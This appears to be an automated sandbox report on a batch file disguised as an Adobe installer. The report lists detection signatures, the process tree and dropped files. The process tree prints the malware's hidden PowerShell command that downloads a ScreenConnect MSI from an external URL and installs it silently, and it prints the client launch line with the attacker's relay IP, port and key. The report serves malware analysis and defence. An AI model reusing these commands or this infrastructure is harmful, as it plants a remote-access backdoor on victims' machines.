Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    08/09/2026, 12:25

General

  • Target
    Adobe Instaler V2.103.bat
  • Size 1KB
  • Sample260908-plndlsfe27
  • SHA256 03aadaf146a948bcdb0431d2c30dd467b82930e0f539286865126623adfe77f1
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://pub-59731f24502b4349af2400270731ecf7.r2.dev/ScreenConnect.ClientSetup.msi

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 22 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Adobe Instaler V2.103.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1380
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4740
      • C:\Windows\system32\wscript.exe
        wscript.exe "C:\Users\Admin\AppData\Local\Temp\svchost209.vbs"
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:628
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -Command "(New-Object Net.WebClient).DownloadFile('https://pub-59731f24502b4349af2400270731ecf7.r2.dev/ScreenConnect.ClientSetup.msi', 'C:\Users\Admin\AppData\Local\Temp\patch759.msi')"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2388
      • C:\Windows\system32\msiexec.exe
        msiexec /i "C:\Users\Admin\AppData\Local\Temp\patch759.msi" /qn
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2408
      • C:\Windows\system32\timeout.exe
        timeout /t 5 /nobreak
        2⤵
        • Delays execution with timeout.exe
        PID:1848
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Badlisted process makes network request
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3856
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 6294B2977E3F5C9C4F32C47596B19F8A
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3784
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSIB36D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240694437 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:5060
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding EF63BA62F5F63F1F06D17423E43FADE8 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4084
    • C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=91.92.41.114&p=8041&s=9a4410c5-8279-4521-97da-66c49b30e726&k=BgIAAACkAABSU0ExAAgAAAEAAQAJ%2bSrsPODInAIyKtMs1CuONkWVO4W5Vxl3ktNXOIev4WJj6lD%2bEu7uLE2%2fnusYgmpD3SXceNQ3DA%2bkCUZR3HLxnjq2suYSBwd3HZIPkT%2b5qS89uwjtQoQ9QF78TyxRtKVUm9k1QhH7gI5oMCmHRDEo8vMbJIzk16DNL4U5n%2bDarCD7aWtuLXMb9sBDZ2Pa2FgNrI3v52gxrLRX5nNi3PSuD6CBC7Tq%2bu4iPMOJfdF8oLdDcvDHsdc65vckZDDGA8jiofuJ%2fspQiWHQitihr5nNtrsxkel9dZDgOQtYmmvqXHHVghbi1AMQ48mKgApK9UHDUENPDUGo8Zqm8AsFo%2fWo"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4920
      • C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.WindowsClient.exe" "RunRole" "a55acaa2-7169-49bf-b254-53efe78812e7" "User"
        2⤵
        • Executes dropped EXE
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:2240
      • C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.WindowsClient.exe" "RunRole" "506920c6-bd22-47a5-a132-ac37090b3e09" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:1196

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e58af78.rbs

          • Path C:\Config.Msi\e58af78.rbs
          • Size 214KB
          • SHA256 609900c0a34a324bc3a60762c65b435358dd9a87807a5e20b539a6b0314a6806
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\Client.Override.en-US.resources
          • Size 724B
          • SHA256 64df867c9ffcb7f9a2061317e6a113c567456c178fcfbc68041efd29b6080abb
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\Client.Override.resources
          • Size 62KB
          • SHA256 2c295d169aecee0fac56ec803179011e77f59d3a80e62fe61ed454abfbc5b83b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\Client.en-US.resources
          • Size 48KB
          • SHA256 07d04e6d5376ffc8d81afe8132e0aa6529cccc5ee789bea53d56c1a2da062be4
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\Client.resources
          • Size 26KB
          • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\app.config
          • Size 1KB
          • SHA256 92aa0b705f755cecf70dd713990db5461df6b7a7c650c77c9a79f43a2d92a6f4
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (ec6e8c61c5f8d09a)\system.config
          • Size 936B
          • SHA256 db4da71b3201888df2d8ed5d41565483eb4c795f59cb671414d1175a46b2a87c
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_344uz4jp.o1y.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_344uz4jp.o1y.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          patch759.msi

          • Path C:\Users\Admin\AppData\Local\Temp\patch759.msi
          • Size 12.9MB
          • SHA256 7be784250ad05bb41a1f5764faded5359d638f338305aa4ff0896bf7a15c55d9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          svchost209.vbs

          • Path C:\Users\Admin\AppData\Local\Temp\svchost209.vbs
          • Size 122B
          • SHA256 db55d6da50c0b35ede4f541c7ce81bad9457a083ed68968bb0d5aafd15592469
          • MD5 SHA1 SHA512 TLSH

          MSIB36D.tmp

          • Path C:\Windows\Installer\MSIB36D.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSIB36D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSIB36D.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSIB36D.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSIB36D.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIBD13.tmp

          • Path C:\Windows\Installer\MSIBD13.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2240-134-0x0000000000B50000-0x0000000000BE6000-memory.dmp

          memory/2240-135-0x000000001B6A0000-0x000000001B6D6000-memory.dmp

          memory/2240-136-0x000000001BA70000-0x000000001BAFC000-memory.dmp

          memory/2240-137-0x000000001BCB0000-0x000000001BE5A000-memory.dmp

          memory/2240-138-0x000000001BE60000-0x000000001BFE6000-memory.dmp

          memory/2240-139-0x0000000002B50000-0x0000000002B68000-memory.dmp

          memory/2240-140-0x000000001B9E0000-0x000000001B9F8000-memory.dmp

          memory/2240-141-0x000000001BA30000-0x000000001BA71000-memory.dmp

          memory/2388-4-0x00000224F7B50000-0x00000224F7B60000-memory.dmp

          memory/2388-3-0x00000224F7B50000-0x00000224F7B60000-memory.dmp

          memory/2388-5-0x00000224F7BB0000-0x00000224F7BD2000-memory.dmp

          memory/4920-119-0x0000000003CA0000-0x0000000003D32000-memory.dmp

          memory/4920-121-0x0000000003C00000-0x0000000003C41000-memory.dmp

          memory/4920-123-0x0000000003E80000-0x0000000003F52000-memory.dmp

          memory/4920-118-0x00000000039E0000-0x0000000003A16000-memory.dmp

          memory/4920-113-0x0000000003990000-0x00000000039E0000-memory.dmp

          memory/4920-92-0x0000000003720000-0x0000000003738000-memory.dmp

          memory/5060-39-0x0000000004DD0000-0x0000000004DFE000-memory.dmp

          memory/5060-43-0x0000000004E10000-0x0000000004E1A000-memory.dmp

          memory/5060-52-0x00000000058C0000-0x0000000005E64000-memory.dmp

          memory/5060-51-0x0000000005160000-0x000000000530A000-memory.dmp

          memory/5060-47-0x0000000004F20000-0x0000000004FAC000-memory.dmp